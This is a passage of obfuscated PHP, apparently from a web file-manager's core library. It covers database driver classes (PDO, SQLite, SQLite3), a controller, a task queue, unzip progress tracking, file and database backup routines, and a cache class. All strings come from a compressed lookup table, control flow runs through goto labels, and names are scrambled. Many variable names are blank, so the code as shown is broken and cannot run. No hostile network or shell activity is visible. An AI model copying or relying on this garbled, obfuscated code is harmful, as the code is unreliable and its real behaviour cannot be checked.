$[47]; break; case $[949]: default: if (!empty($蹊)) { $廣ҕ = $[901] . $蹊 . $[902]; } else { $廣ҕ = $[903]; } } } $ = $this->query($廣ҕ); $Ƀ = array(); foreach ($ as $ => $Ґ) { $Ƀ[$] = current($Ґ); } return $Ƀ; } protected function parseLimit($މҥ) { $ =& $_SERVER[]; $ = $[12]; if (!empty($މҥ)) { switch ($this->dbType) { case $[946]: case $[938]: $މҥ = explode($[50], $މҥ); if (count($މҥ) > 1) { $ .= $[51] . $މҥ[1] . $[52] . $މҥ[0] . $[53]; } else { $ .= $[51] . $މҥ[0] . $[53]; } break; case $[919]: case $[937]: break; case $[921]: break; case $[920]: case $[922]: break; case $[949]: default: $ .= $[51] . $މҥ . $[53]; } } return $; } public function parseKey(&$т, $؉ج = true) { $ =& $_SERVER[]; if ($؉ج) { $т = $this->parseKeyCheck($т); } if ($this->dbType == $[949]) { if ($т != $[189] && !preg_match($[913], $т)) { $т = $[385] . trim($т, $[385]) . $[385]; } return $т; } else { return parent::parseKey($т, $؉ج); } } public function close() { $this->_linkID = null; } public function error() { $ȓ =& $_SERVER[]; if ($this->PDOStatement) { $ѝ = $this->PDOStatement->errorInfo(); $this->error = $ѝ[1] . $ȓ[4] . $ѝ[2]; } else { $this->error = $ȓ[12]; } if ($ȓ[12] != $this->queryStr) { $this->error .= LNG($ȓ[48]) . $this->queryStr; } think_trace($this->error, $ȓ[12], $ȓ[49]); return $this->error; } public function escapeString($̩) { $ =& $_SERVER[]; switch ($this->dbType) { case $[946]: case $[919]: case $[937]: case $[949]: return addslashes($̩); case $[921]: case $[938]: case $[920]: case $[922]: return str_ireplace($[58], $[59], $̩); } } protected function parseValue($ʶ) { $ =& $_SERVER[]; if (is_string($ʶ)) { $¬ = strpos($ʶ, $[4]) === 0 && in_array($ʶ, array_keys($this->bind)); $ʶ = $¬ ? $this->escapeString($ʶ) : $[959] . $this->escapeString($ʶ) . $[959]; } elseif (isset($ʶ[0]) && is_string($ʶ[0]) && strtolower($ʶ[0]) == $[297]) { $ʶ = $this->escapeString($ʶ[1]); } elseif (is_array($ʶ)) { $ʶ = array_map(array($this, $[960]), $ʶ); } elseif (is_bool($ʶ)) { $ʶ = $ʶ ? $[88] : $[198]; } elseif (is_null($ʶ)) { $ʶ = $[103]; } return $ʶ; } public function getLastInsertId() { $շ =& $_SERVER[]; switch ($this->dbType) { case $շ[946]: case $շ[938]: case $շ[919]: case $շ[937]: case $շ[921]: case $շ[949]: return $this->_linkID->lastInsertId(); case $շ[920]: case $շ[922]: $ = $this->table; $Ϙڙ = $this->query("\123\105\114\x45\x43\124\40{$}\56\x63\x75\x72\162\x76\x61\x6c\x20\x63\165\x72\x72\166\141\x6c\x20\x46\x52\117\x4d\x20\x64\165\141\154"); return $Ϙڙ ? $Ϙڙ[0][$շ[961]] : 0; } } } class DbSqlite extends DbSqliteBase { public function query($ʚ) { $ =& $_SERVER[]; if (!CacheLock::fileLock($[13])) { return !1; } $ = parent::query($ʚ); CacheLock::fileUnLock($[13]); return $; } public function execute($ʹ) { $ =& $_SERVER[]; if (!CacheLock::fileLock($[13])) { return !1; } $ε = parent::execute($ʹ); CacheLock::fileUnLock($[13]); return $ε; } } class DbSqlite3 extends DbSqlite3Base { public function query($) { $ =& $_SERVER[]; if (!CacheLock::fileLock($[13])) { return !1; } $Û = parent::query($); CacheLock::fileUnLock($[13]); return $Û; } public function execute($) { $ =& $_SERVER[]; if (!CacheLock::fileLock($[13])) { return !1; } $՜ = parent::execute($); CacheLock::fileUnLock($[13]); return $՜; } } goto fǽ; DЂĽ: define($_SERVER[][241], 1); define($_SERVER[][242], 0); define($_SERVER[][243], 2); goto cʏ悆; Eծ: class Controller extends ClassBaseCall { public $in; public $config; public $tpl; public $values; function __construct() { $ݙ =& $_SERVER[]; global $in, $config; $this->config =& $config; $this->in =& $in; $this->values[$ݙ[6]] =& $config; $this->values[$ݙ[7]] =& $in; $this->tpl = TEMPLATE . MOD . $ݙ[8]; $this->_classObjectID = mt_rand(0, 10000); } public function loadClass($) { if (1 === func_num_args()) { $this->{$} = new $(); } else { $ʂ = new ReflectionClass($); $㉔ = func_get_args(); array_shift($㉔); $this->{$} = $ʂ->newInstanceArgs($㉔); } return $this->{$}; } public function routeBind($, $, $ܢ = 3) { $ȃ =& $_SERVER[]; $ = $this->in[$ȃ[9]]; $ = str_replace($ȃ[10], $ȃ[11], trim(trim($, $ȃ[8]), $ȃ[12])); if (!$ || count($) <= $ܢ) { return !1; } $ = !0; $Ę = explode($ȃ[8], $); for ($̉ϔ = 0; $̉ϔ < count($Ę); $̉ϔ++) { if ($Ę[$̉ϔ] != $[$ܢ + $̉ϔ]) { $ = !1; break; } } if (!$) { return; } call_user_func_array(array($this, $), array()); } public function routeArgs($ͭ = 3) { $П = $this->in[$_SERVER[][9]]; if (count($П) <= $ͭ) { return array(); } $ = array(); for ($ = $ͭ; $ < count($П); $ += 2) { $[$П[$]] = $П[$ + 1]; $this->in[$П[$]] = $П[$ + 1]; } return $; } protected function assign($, $ͦ) { $this->values[$] = $ͦ; } protected function display($ᅙ) { ob_end_clean(); extract($this->values); require $this->tpl . $ᅙ; } } class DbSqliteBase extends Db { public function __construct($ֆ = '') { $դ =& $_SERVER[]; if (!extension_loaded($դ[13])) { think_exception(think_lang($դ[14]) . $դ[15]); } if (!empty($ֆ)) { if (!isset($ֆ[$դ[16]])) { $ֆ[$դ[16]] = 438; } $this->config = $ֆ; if (empty($this->config[$դ[17]])) { $this->config[$դ[17]] = array(); } } } public function connect($쑆 = '', $ = 0) { $ٿ =& $_SERVER[]; if (!isset($this->linkID[$])) { if (empty($쑆)) { $쑆 = $this->config; } $ = !empty($쑆[$ٿ[17]][$ٿ[18]]) ? $쑆[$ٿ[17]][$ٿ[18]] : $this->pconnect; $ԁ = $ ? $ٿ[19] : $ٿ[20]; $this->linkID[$] = $ԁ($쑆[$ٿ[21]], $쑆[$ٿ[16]]); if (!$this->linkID[$]) { think_exception(sqlite_error_string()); } $this->connected = !0; @sqlite_busy_timeout($this->linkID[$], 30000); if (1 != think_config($ٿ[22])) { unset($this->config); } } return $this->linkID[$]; } public function free() { $this->queryID = null; } public function query($Ĝݰ) { $ =& $_SERVER[]; $this->initConnect(!1); if (!$this->_linkID) { return !1; } $this->queryStr = $Ĝݰ; if ($this->queryID) { $this->free(); } think_action_status($[23], 1); think_status($[24]); $this->queryID = sqlite_query($this->_linkID, $Ĝݰ); $this->debug(); if (!1 === $this->queryID) { $this->error(); return !1; } else { $this->numRows = sqlite_num_rows($this->queryID); $ȹ = $this->getAll(); return $ȹ; } } public function execute($ڱ) { $ï =& $_SERVER[]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } $this->queryStr = $ڱ; if ($this->queryID) { $this->free(); } think_action_status($ï[25], 1); think_status($ï[24]); $ = sqlite_exec($this->_linkID, $ڱ); $this->debug(); if (!1 === $) { $this->error(); return !1; } else { $this->numRows = sqlite_changes($this->_linkID); $this->lastInsID = sqlite_last_insert_rowid($this->_linkID); return $this->numRows; } } public function startTrans() { $this->initConnect(!0); if (!$this->_linkID) { return !1; } if ($this->transTimes == 0) { sqlite_query($this->_linkID, $_SERVER[][26]); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $ = sqlite_query($this->_linkID, $_SERVER[][27]); if (!$) { $this->error(); return !1; } $this->transTimes = 0; } return !0; } public function rollback() { if ($this->transTimes > 0) { $ = sqlite_query($this->_linkID, $_SERVER[][28]); if (!$) { $this->error(); return !1; } $this->transTimes = 0; } return !0; } private function getAll() { $ = array(); if ($this->numRows > 0) { for ($敏 = 0; $敏 < $this->numRows; $敏++) { $[$敏] = sqlite_fetch_array($this->queryID, SQLITE_ASSOC); } sqlite_seek($this->queryID, 0); } return $; } public function getFields($) { $Ƙ =& $_SERVER[]; $㡛 = $this->query($Ƙ[29] . $ . $Ƙ[30]); $֦ = array(); if ($㡛) { foreach ($㡛 as $ګؚ => $ء) { $֦[$ء[$Ƙ[31]]] = array($Ƙ[32] => $ء[$Ƙ[31]], $Ƙ[33] => $ء[$Ƙ[34]], $Ƙ[35] => (bool) ($ء[$Ƙ[36]] === $Ƙ[12]), $Ƙ[37] => $ء[$Ƙ[38]], $Ƙ[39] => strtolower($ء[$Ƙ[40]]) == $Ƙ[41], $Ƙ[42] => strtolower($ء[$Ƙ[43]]) == $Ƙ[44]); } } return $֦; } public function getTables($ = '') { $㼡 =& $_SERVER[]; $Ļ = $this->query($㼡[45] . $㼡[46] . $㼡[47]); $̷ = array(); foreach ($Ļ as $К => $) { $̷[$К] = current($); } return $̷; } public function close() { if ($this->_linkID) { sqlite_close($this->_linkID); } $this->_linkID = null; } public function error() { $ଙ =& $_SERVER[]; $̎ = sqlite_last_error($this->_linkID); $this->error = $̎ . $ଙ[4] . sqlite_error_string($̎); if ($ଙ[12] != $this->queryStr) { $this->error .= LNG($ଙ[48]) . $this->queryStr; } think_trace($this->error, $ଙ[12], $ଙ[49]); return $this->error; } public function escapeString($) { return sqlite_escape_string($); } public function parseLimit($¢) { $ =& $_SERVER[]; $ = $[12]; if (!empty($¢)) { $¢ = explode($[50], $¢); if (count($¢) > 1) { $ .= $[51] . $¢[1] . $[52] . $¢[0] . $[53]; } else { $ .= $[51] . $¢[0] . $[53]; } } return $; } } class DbSqlite3Base extends Db { public function __construct($ = '') { $ϻ =& $_SERVER[]; if (!class_exists($ϻ[54])) { think_exception(think_lang($ϻ[14]) . $ϻ[55]); } if (!empty($)) { if (!isset($[$ϻ[16]])) { $[$ϻ[16]] = 438; } $this->config = $; if (empty($this->config[$ϻ[17]])) { $this->config[$ϻ[17]] = array(); } } } public function connect($З = '', $٧ = 0) { $ڶ =& $_SERVER[]; if (!isset($this->linkID[$٧])) { if (empty($З)) { $З = $this->config; } $this->linkID[$٧] = new SQLite3($З[$ڶ[21]]); if (!$this->linkID[$٧]) { think_exception($this->linkID[$٧]->lastErrorMsg()); } $this->connected = !0; @$this->linkID[$٧]->busyTimeout(30000); if (1 != think_config($ڶ[22])) { unset($this->config); } } return $this->linkID[$٧]; } public function free() { $this->queryID = null; } public function query($ۯ) { $ş =& $_SERVER[]; $this->initConnect(!1); if (!$this->_linkID) { return !1; } $this->queryStr = $ۯ; if ($this->queryID) { $this->free(); } think_action_status($ş[23], 1); think_status($ş[24]); $this->queryID = $this->_linkID->query($ۯ); $this->debug(); if (!1 === $this->queryID) { $this->error(); return !1; } else { $ = $this->getAll(); $this->numRows = count($); return $; } } public function execute($ą) { $β =& $_SERVER[]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } $this->queryStr = $ą; if ($this->queryID) { $this->free(); } think_action_status($β[25], 1); think_status($β[24]); $ = $this->_linkID->exec($ą); $this->debug(); if (!1 === $) { $this->error(); return !1; } else { $this->numRows = $this->_linkID->changes(); $this->lastInsID = $this->_linkID->lastInsertRowID(); return $this->numRows; } } public function startTrans() { $this->initConnect(!0); if (!$this->_linkID) { return !1; } if ($this->transTimes == 0) { $this->_linkID->query($_SERVER[][26]); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $՟ = $this->_linkID->query($_SERVER[][27]); if (!$՟) { $this->error(); return !1; } $this->transTimes = 0; } return !0; } public function rollback() { if ($this->transTimes > 0) { $℮Ɵ = $this->_linkID->query($_SERVER[][28]); if (!$℮Ɵ) { $this->error(); return !1; } $this->transTimes = 0; } return !0; } private function getAll() { $ = array(); while ($ᓩ = $this->queryID->fetchArray(SQLITE3_ASSOC)) { $[] = $ᓩ; } $this->queryID->reset(); return $; } public function getFields($) { $ۨ =& $_SERVER[]; $ = $this->query($ۨ[29] . $ . $ۨ[30]); $Ȉ = array(); if ($) { foreach ($ as $ => $Ғ) { $Ȉ[$Ғ[$ۨ[32]]] = array($ۨ[32] => $Ғ[$ۨ[32]], $ۨ[33] => $Ғ[$ۨ[33]], $ۨ[35] => (bool) ($Ғ[$ۨ[35]] === $ۨ[12]), $ۨ[37] => $Ғ[$ۨ[56]], $ۨ[39] => (bool) $Ғ[$ۨ[57]], $ۨ[42] => (bool) $Ғ[$ۨ[57]]); } } return $Ȉ; } public function getTables($ֺ = '') { $ =& $_SERVER[]; $ = $this->query($[45] . $[46] . $[47]); $ى̽ = array(); foreach ($ as $ => $) { $ى̽[$] = current($); } return $ى̽; } public function close() { if ($this->_linkID) { $this->_linkID->close(); } $this->_linkID = null; } public function error() { $䬰 =& $_SERVER[]; $this->error = $this->_linkID->lastErrorMsg(); if ($䬰[12] != $this->queryStr) { $this->error .= LNG($䬰[48]) . $this->queryStr; } think_trace($this->error, $䬰[12], $䬰[49]); return $this->error; } public function escapeString($) { $͢ =& $_SERVER[]; if ($this->_linkID) { return $this->_linkID->escapeString($); } return str_ireplace($͢[58], $͢[59], $); } public function parseLimit($挽) { $ =& $_SERVER[]; $ֹ = $[12]; if (!empty($挽)) { $挽 = explode($[50], $挽); if (count($挽) > 1) { $ֹ .= $[51] . $挽[1] . $[52] . $挽[0] . $[53]; } else { $ֹ .= $[51] . $挽[0] . $[53]; } } return $ֹ; } } goto e; F: define($_SERVER[][0], $_SERVER[][1]); $_SERVER[ĭۣ] = explode($_SERVER[][2], gzinflate(substr($_SERVER[][3], 10, -8))); function binCheckEq($ƪ, $ӎ) { return $ƪ == $ӎ; } goto cԥ; f嫐ﶈ: class TaskQueue { const MAX_LENGTH = 2000; const QUEUE_LENGTH = "\164\x61\x73\153\x51\165\145\x75\145\114\145\156\x67\x74\x68"; const QUEUE_DATA = "\164\x61\163\153\121\x75\145\x75\x65\x44\x61\x74\141"; public static $listData = false; public static function initTask() { } public static function add($§, $ӝ = array(), $ = '', $ = '') { $Ÿ =& $_SERVER[]; if (self::$listData === !1) { self::$listData = self::getAll(); } if (count(self::$listData) >= self::MAX_LENGTH) { return !1; } if ($ && array_find_by_field(self::$listData, $Ÿ[94], $)) { return !0; } self::$listData[] = array($Ÿ[264] => $§, $Ÿ[1768] => $ӝ, $Ÿ[453] => $, $Ÿ[94] => $); return !0; } public static function addSubmit() { $믺 =& $_SERVER[]; if (!self::$listData || count(self::$listData) == 0) { return; } write_log($믺[1769] . json_encode_force(array_to_keyvalue(self::$listData, $믺[12], $믺[453])), $믺[1770]); self::setAll(self::$listData); self::$listData = !1; } public static function addNow($Ϫȭ, $ = array(), $ = '', $ = '') { $ =& $_SERVER[]; if (self::count() >= self::MAX_LENGTH) { return !1; } $ = self::getAll(); if ($ && array_find_by_field($, $[94], $)) { return !0; } $[] = array($[264] => $Ϫȭ, $[1768] => $, $[453] => $, $[94] => $); write_log($[1769] . $, $[1770]); self::setAll($); return !0; } public static function run() { $ದ =& $_SERVER[]; $Е = self::getAll(); $ښ = array_shift($Е); if (!$ښ) { return !1; } self::setAll($Е); $ߋ = timeFloat(); try { Hook::apply($ښ[$ದ[264]], $ښ[$ದ[1768]]); } catch (Exception $ː헕) { } $è = number_format(timeFloat() - $ߋ, 3) . $ದ[1686]; write_log($ದ[1771] . $ښ[$ದ[453]] . $ದ[1772] . $è, $ದ[1770]); return !0; } public static function count() { $ཤ = Cache::get(self::QUEUE_LENGTH); Cache::removeMemory(self::QUEUE_LENGTH); if (!$ཤ) { return 0; } return intval($ཤ); } public static function getAll() { $ݢ = Cache::get(self::QUEUE_DATA); Cache::removeMemory(self::QUEUE_DATA); if (!$ݢ) { return array(); } return $ݢ; } public static function setAll($) { $Ҡ = 3600 * 24 * 30; Cache::set(self::QUEUE_LENGTH, count($), $Ҡ); Cache::set(self::QUEUE_DATA, $, $Ҡ); Cache::removeMemory(self::QUEUE_LENGTH); Cache::removeMemory(self::QUEUE_DATA); } public static function clear() { self::setAll(array()); } } class TaskRun { private static $asyncAdd = false; private static $syncTask = false; public static function timeLimit($ۊ, $ = 5.0) { if (!$ۊ) { return; } $ = Cache::get($ۊ); if (!$ || timeFloat() - floatVal($) >= $) { Cache::set($ۊ, timeFloat(), $ * 10); return !0; } return !1; } public static function timeLimitCall($㝊, $ؽ, $Ę, $ = 5.0) { $Ԧ =& $_SERVER[]; if (!$㝊 || !$ؽ) { return; } self::$asyncAdd = !0; $ = $Ԧ[1773]; $Ѯ = Cache::get($, !0); $ = array($Ԧ[1774] => timeFloat(), $Ԧ[1775] => timeFloat(), $Ԧ[264] => $ؽ, $Ԧ[1768] => $Ę, $Ԧ[180] => $); if (is_array($Ѯ[$㝊])) { $[$Ԧ[1775]] = $Ѯ[$㝊][$Ԧ[1775]]; } if (is_array($Ѯ[$㝊])) { if (timeFloat() - $Ѯ[$㝊][$Ԧ[1774]] < $[$Ԧ[180]] * 0.3) { return; } $[$Ԧ[1775]] = $Ѯ[$㝊][$Ԧ[1775]]; } $Ѯ[$㝊] = $; Cache::set($, $Ѯ, 60); Cache::removeMemory($); write_log($Ԧ[1776] . $㝊 . $Ԧ[71] . $ؽ, $Ԧ[1770]); } public static function timeLimitCallLoop() { $ =& $_SERVER[]; $ = array($[1777]); $̥ = in_array(strtolower(ACTION), $); if (!$̥ && !self::$asyncAdd) { return; } $ = $[1773]; $۴ = Cache::get($, !0); if (!$۴ || count($۴) <= 0) { return; } $ЊϨ = !1; $ = timeFloat(); $ = array(); foreach ($۴ as $զ => $Т) { if ($ - $Т[$[1775]] > $Т[$[180]]) { $ЊϨ = !0; try { Hook::apply($Т[$[264]], $Т[$[1768]]); write_log($[1778] . $զ . $[71] . $Т[$[264]] . $[1779] . ACTION, $[1770]); } catch (Exception $) { } continue; } $[$զ] = $Т; } if (!$ЊϨ) { return; } if (!$) { return Cache::remove($); } Cache::set($, $, 60); Cache::removeMemory($); } public static function finished($Ϊ, $͚) { $Ӡ =& $_SERVER[]; if (!self::$syncTask) { self::$syncTask = array(); } self::$syncTask[] = array($Ӡ[264] => $Ϊ, $Ӡ[1768] => $͚); } private static function finishedRun() { $ =& $_SERVER[]; if (!self::$syncTask) { return; } foreach (self::$syncTask as $) { try { Hook::apply($[$[264]], $[$[1768]]); } catch (Exception $) { } } } public static function autoRun() { self::finishedRun(); self::timeLimitCallLoop(); } } class TaskUnzip extends TaskFileTransfer { protected function startAfter() { $̛ =& $_SERVER[]; parent::startAfter(); Hook::bind($̛[1780], array($this, $̛[1781])); Hook::bind($̛[1195], array($this, $̛[1782])); $ =& $this->task; $[$̛[1783]] = $̛[1196]; if (!$[$̛[1570]]) { $[$̛[1570]] = LNG($̛[1784]); } } protected function endAfter() { $ =& $_SERVER[]; parent::endAfter(); Hook::unbind($[1780], array($this, $[1781])); Hook::unbind($[1195], array($this, $[1782])); } public function updateAfter() { $ӆؾ =& $_SERVER[]; $ =& $this->task; if (!$[$ӆؾ[785]] || !$[$ӆؾ[762]]) { return; } if ($[$ӆؾ[1783]] == $ӆؾ[1196]) { $떒 = 0; if ($[$ӆؾ[1723]]) { $떒 = $[$ӆؾ[1724]] / $[$ӆؾ[1723]]; } $[$ӆؾ[1672]] = $떒 * 0.3; } else { if ($[$ӆؾ[1783]] == $ӆؾ[313]) { $떒 = $[$ӆؾ[1671]] / $[$ӆؾ[785]]; $[$ӆؾ[1672]] = 0.3 + $떒 * 0.4; } else { if ($[$ӆؾ[1783]] == $ӆؾ[107]) { $ƽ = 0; if ($[$ӆؾ[1725]] == $ӆؾ[107]) { $ƽ = $[$ӆؾ[1724]]; } $떒 = ($[$ӆؾ[1728]] + $ƽ) / $[$ӆؾ[762]]; $[$ӆؾ[1672]] = 0.3 + 0.4 + $떒 * 0.3; } } } if ($[$ӆؾ[1672]] > 0) { $ڛ = timeFloat() - $[$ӆؾ[1674]] - $[$ӆؾ[1677]]; $[$ӆؾ[1678]] = $ڛ * (1 - $[$ӆؾ[1672]]) / $[$ӆؾ[1672]]; } } public function addFile($ާ) { $Ӎ =& $_SERVER[]; $ʩ =& $this->task; $磀 = IO::info($ާ); $ʩ[$Ӎ[1721]] = $磀[$Ӎ[32]]; $ʩ[$Ӎ[1723]] = $磀[$Ӎ[76]]; $ʩ[$Ӎ[1724]] = 0; $ʩ[$Ӎ[1066]] = $Ӎ[1744]; $ʩ[$Ӎ[1725]] = $Ӎ[1196]; $ʩ[$Ӎ[762]] = $磀[$Ӎ[76]]; $ʩ[$Ӎ[785]] = 1; $̠ = 0; $ʩ[$Ӎ[1732]] = array($Ӎ[1733] => $̠ + 1, $Ӎ[420] => $磀[$Ӎ[32]], $Ӎ[84] => $磀[$Ӎ[84]], $Ӎ[509] => $磀[$Ӎ[509]] ? $磀[$Ӎ[509]] : $磀[$Ӎ[84]]); $this->update(); } public function unzipAfter($۱ɝ) { $ =& $_SERVER[]; $ =& $this->task; $[$[1783]] = $[107]; $ = IO::infoWithChildren($۱ɝ); $ = 0; $[$[1732]] = array($[1733] => $ + 1, $[420] => $[$[32]], $[84] => $[$[84]], $[509] => $[$[509]] ? $[$[509]] : $[$[84]]); if ($[$[33]] == $[200]) { $[$[785]] = 1; } else { $[$[785]] = $[$[79]][$[77]]; } $[$[1066]] = $[12]; $[$[1725]] = 0; $[$[1671]] = 0; $[$[1723]] = 0; $[$[1724]] = 0; $[$[1721]] = $[12]; $[$[1728]] = 0; $[$[762]] = $[$[76]]; $this->update(); self::log($[1785] . json_encode(array($, $))); } public function nameParse($ѿ) { $ުь =& $_SERVER[]; $ =& $this->task; if ($[$ުь[1783]] == $ުь[1196]) { $[$ުь[1783]] = $ުь[313]; $[$ުь[1728]] = 0; $[$ުь[762]] = 0; } $ = get_path_this($ѿ); if (strstr($, $ުь[10])) { $[$ުь[1671]] += 1; $[$ުь[785]] += 1; } $[$ުь[1721]] = $ѿ; $this->update(); } } goto E; Eۅ: class BackupDbFile { public function __construct() { } public function index() { $ɫ =& $_SERVER[]; $ = Backup::get(); $Ք = $[$ɫ[32]]; $ʹ = $this->tmpFilesPath() . "\x62\x61\x63\x6b\165\x70\x5f{$Ք}\x2f"; $ۺ = $this->backupPath($); if (!($ۺ = IO::mkdir($ۺ))) { return !1; } $갉 = IO::listPath($ʹ); $ĉƙ = isset($갉[$ɫ[83]]) ? $갉[$ɫ[83]] : array(); $߱ = array_sum(array_column($ĉƙ, $ɫ[76])); if (!$߱) { return !1; } $Ǔ = array($ɫ[797] => $߱, $ɫ[798] => time()); Backup::set($Ǔ); $ = new TaskFileTransfer($ɫ[799], $ɫ[779], count($ĉƙ), LNG($ɫ[780]) . $ɫ[386] . LNG($ɫ[782]) . $ɫ[800]); $->task[$ɫ[762]] = $߱; foreach ($갉[$ɫ[83]] as $қɆ) { $Žŕ = IO::move($қɆ[$ɫ[84]], $ۺ); if (!$Žŕ) { $->end(); $پ = IO::getLastError($ɫ[801] . $қɆ[$ɫ[84]] . $ɫ[802] . $ۺ . $ɫ[164]); write_log($پ, $ɫ[779]); return !1; } } $ = new DbManage(); $ʕ = $->getSqlFile(); if (!$ʕ[$ɫ[803]] || !$ʕ[$ɫ[13]]) { return !1; } IO::move($ʕ[$ɫ[803]], $ۺ); IO::move($ʕ[$ɫ[13]], $ۺ); $->end(); $Ǔ = array($ɫ[804] => $߱, $ɫ[805] => time()); Backup::set($Ǔ); return !0; } private function backupPath($̜ށ) { $֓ =& $_SERVER[]; $ = $̜ށ[$֓[32]]; $ϲ = Model($֓[769])->get($֓[770]); $ = substr(md5($֓[771] . $ϲ . $), 0, 8); return "\173\151\x6f\72{$̜ށ[$֓[750]]}\175\x2f\144\x61\x74\141\142\x61\x73\145\x2f\142\x61\x63\153\165\x70\x2f" . $ . $֓[11] . $; } private function tmpFilesPath() { $҉ =& $_SERVER[]; $ = TEMP_FILES; if ($GLOBALS[$҉[6]][$҉[89]][$҉[795]]) { $ = $GLOBALS[$҉[6]][$҉[89]][$҉[795]]; if (!mk_dir($) || !is_writable($) || !IO::mkfile($ . $҉[796])) { $ = TEMP_FILES; } } return $; } } class BackupFile { public function __construct() { } public function index() { $ = Backup::get(); $ʝÝ = $[$_SERVER[][293]][$_SERVER[][200]][$_SERVER[][468]]; $ߝ = array($_SERVER[][469] => array($_SERVER[][806], $ʝÝ), $_SERVER[][807] => array($_SERVER[][331], $[$_SERVER[][750]])); $̆ = (int) Model($_SERVER[][788])->where($ߝ)->count($_SERVER[][468]); $ = (int) Model($_SERVER[][788])->where($ߝ)->sum($_SERVER[][76]); $Ӿ = new TaskFileTransfer($_SERVER[][808], $_SERVER[][779], $̆, LNG($_SERVER[][780]) . $_SERVER[][781] . LNG($_SERVER[][809])); $Ӿ->task[$_SERVER[][762]] = $; $ = array($_SERVER[][810] => $̆, $_SERVER[][811] => $, $_SERVER[][812] => time()); Backup::set($); $߷ = !0; $օ = $this->storeIds(); $ = 1; $ = 1000; $ = $ա½ = 0; $Ȕ = array(); $昍ȫ = $ԭ = 0; do { $ = $_SERVER[][813]; $ٿ = Model($_SERVER[][788])->where($ߝ)->field($)->order($_SERVER[][814])->selectPage($, $); $ܺ = !empty($ٿ[$_SERVER[][369]]) ? $ٿ[$_SERVER[][369]] : array(); foreach ($ܺ as $) { if (!$this->_fileExist($, $Ȕ, $օ)) { $̆ -= 1; $ -= (int) $[$_SERVER[][76]]; write_log("\x66\x69\x6c\145\40\156\157\x74\40\x65\170\x69\163\x74\x2e\x66\x69\154\145\111\x44\72{$[$_SERVER[][468]]}\x2c\40\x70\x61\164\150\x3a{$[$_SERVER[][84]]}", $_SERVER[][815]); continue; } $ = $[$_SERVER[][84]]; $оߙ = "\173\151\157\x3a{$[$_SERVER[][750]]}\x7d" . substr($, strlen("\173\151\x6f\x3a{$[$_SERVER[][816]]}\x7d")); if (IO::exist($оߙ)) { $Ӿ->updateFileEnd($[$_SERVER[][32]], $[$_SERVER[][76]]); } else { $оߙ = get_path_father($оߙ); IO::mkdir($оߙ); if (!IO::copy($, $оߙ, $_SERVER[][817])) { write_log($_SERVER[][818] . $ . $_SERVER[][802] . $оߙ . $_SERVER[][164], $_SERVER[][779]); $߷ = !1; break; } } $ʝÝ = $[$_SERVER[][468]]; $ա½ += 1; $ += $[$_SERVER[][76]]; $ԭ += 1; $昍ȫ += $[$_SERVER[][76]]; if ($ >= 1024 * 1024 * 100) { $ = array($_SERVER[][819] => $ʝÝ, $_SERVER[][820] => $ԭ, $_SERVER[][821] => $昍ȫ); Backup::set($); $ = $ա½ = 0; } } $ = count($ܺ); $++; } while ($ == $); $Ӿ->end(); $ = array($_SERVER[][822] => 1, $_SERVER[][760] => time(), $_SERVER[][774] => 1, $_SERVER[][819] => $ʝÝ, $_SERVER[][811] => $, $_SERVER[][810] => $̆, $_SERVER[][823] => time()); if ($ա½) { $[$_SERVER[][820]] = $ԭ; $[$_SERVER[][821]] = $昍ȫ; } Backup::set($); $this->_fileFilter($Ȕ); return !0; } private function _fileExist($, &$Ō, $) { $ =& $_SERVER[]; $ = $[$[84]]; if (in_array($[$[468]], $Ō)) { return !1; } if (!in_array($[$[816]], $)) { return !1; } if (IO::exist($)) { return !0; } $ܴ܁ = get_path_father($); if (IO::exist($ܴ܁)) { $Ō[] = $[$[468]]; return !1; } $߽ = array($[816] => $[$[816]], $[84] => array($[383], "{$ܴ܁}\45")); $ڞ = Model($[788])->where($߽)->field($[469])->select(); $Ō = array_merge($Ō, array_to_keyvalue($ڞ, $[12], $[468])); return !1; } private function _fileFilter($뀃件) { $Ͷ =& $_SERVER[]; if (empty($뀃件)) { return; } $ƺ = array($Ͷ[468] => array($Ͷ[7], array_unique($뀃件))); $ښ = Model($Ͷ[824])->where($ƺ)->field($Ͷ[402])->select(); foreach ($ښ as $Ə) { Model($Ͷ[824])->remove($Ə[$Ͷ[402]], !1); } } private function storeIds() { $ =& $_SERVER[]; $ǹɸ = Model($[766])->listData(); $ = array(); $θ = $GLOBALS[$[6]][$[89]][$[825]]; foreach ($ǹɸ as $Ԗ) { $ƶ磍 = strtolower($Ԗ[$[95]]); if (!isset($θ[$ƶ磍])) { continue; } $ӆ = $[74] . (isset($θ[$ƶ磍]) ? $θ[$ƶ磍] : ucfirst($ƶ磍)); if (!class_exists($ӆ)) { continue; } $[] = $Ԗ[$[399]]; } return $; } } class Cache { protected static $handle; protected static $memoryCache; public static function init() { $㲅 =& $_SERVER[]; if (self::$handle) { return self::$handle; } self::$memoryCache = array(); $ = $GLOBALS[$㲅[6]][$㲅[349]]; $͵ʬ = $[$[$㲅[826]]]; $ = $[$㲅[827]]; switch ($[$㲅[826]]) { case $㲅[21]: self::$handle = Model($㲅[828]); break; case $㲅[829]: self::$handle = new CacheRedis($͵ʬ, $); break; case $㲅[830]: self::$handle = new CacheMemcached($͵ʬ, $); break; case $㲅[200]: self::$handle = new CacheFile($͵ʬ, $); break; default: break; } return self::$handle; } public static function initReset() { self::$handle = !1; self::$memoryCache = !1; } public static function key($̃) { if (is_array($̃) || is_object($̃)) { $̃ = json_encode($̃); } $̃ = rawurlencode($̃); return md5(KOD_SITE_ID . $_SERVER[][11] . $̃); } public static function get($, $ = false) { $ = self::key($); if ($) { return unserialize(self::init()->get($)); } if (!isset(self::$memoryCache[$])) { $ĥ = self::init()->get($); self::$memoryCache[$] = unserialize($ĥ); } return self::$memoryCache[$]; } public static function set($ݓ, $슊, $ = false) { $ = self::key($ݓ); if (isset(self::$memoryCache[$]) && self::$memoryCache[$] === $슊) { return !0; } if ($ === 0) { self::$memoryCache[$] = $슊; return !0; } CacheLock::lock($ݓ); $㿳 = self::init()->set($, serialize($슊), $); self::$memoryCache[$] = $슊; CacheLock::unlock($ݓ); return $㿳; } public static function getCall($ǂ, $, $, $ = array()) { $؍ =& $_SERVER[]; $ = self::get($ǂ); if ($ || $ === $؍[12]) { return $; } $ = call_user_func_array($, $); $ = $ ? $ : $؍[12]; self::set($ǂ, $, $); return $; } public static function remove($) { $ͅšߧ = self::key($); unset(self::$memoryCache[$ͅšߧ]); self::clearTimeout(); CacheLock::lock($); $ǀե = 